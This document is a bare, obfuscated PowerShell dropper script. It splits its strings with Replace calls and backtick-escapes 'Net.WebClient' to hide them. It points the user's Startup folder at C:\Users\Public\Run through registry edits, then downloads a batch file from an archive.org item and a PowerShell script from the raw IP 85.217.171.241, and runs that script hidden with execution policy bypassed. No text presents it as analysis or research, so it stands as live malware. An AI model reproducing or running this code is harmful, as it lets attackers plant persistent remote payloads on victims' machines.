[system.io.directory]::CreateDirectory("C@@$%#@$%#@$%#@$%#$@%#@$%#@$%#Run".Replace("@@$%#@$%#@$%#@$%#$@%#@$%#@$%#",":\Users\Public\"))
start-sleep -s 5
Set-ItemProperty -Path "HK*************************orer\User Shell Folders".Replace("*************************","CU:\Software\Microsoft\Windows\CurrentVersion\Expl") -Name "Run" -Value "C:\&&&&&&&&&&&&&un".Replace("&&&&&&&&&&&&&","Users\Public\R");
Set-ItemProperty -Path "HKCU:\Soft<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<lders".Replace("<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<","ware\Microsoft\Windows\CurrentVersion\Explorer\Shell Fo") -Name "Run" -Value "C:\Us>>>>>>>>>>>>un".Replace(">>>>>>>>>>>>","ers\Public\R");
start-sleep -s 5
Function HBankers
{
$p = 'C:\Us<<<<<<<<<<<>>>>>>>>>>>>>>>n\'.Replace("<<<<<<<<<<<>>>>>>>>>>>>>>>","ers\Public\Ru")
$ps1 = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")


start-sleep -s 5

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://ia801503.us.archive.org/18/items/cmd_20210302/CMD.TXT', $p + 'Run.BAT')){
}
start-sleep -s 5
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('http://85.217.171.241/Server.txt', $ps1 + 'Microsoft.ps1')){
}
start-sleep -s 7
powershell -windo 1 -noexit -exec bypass -file "C:\Users\Public\Microsoft.ps1"
}
IEX HBankers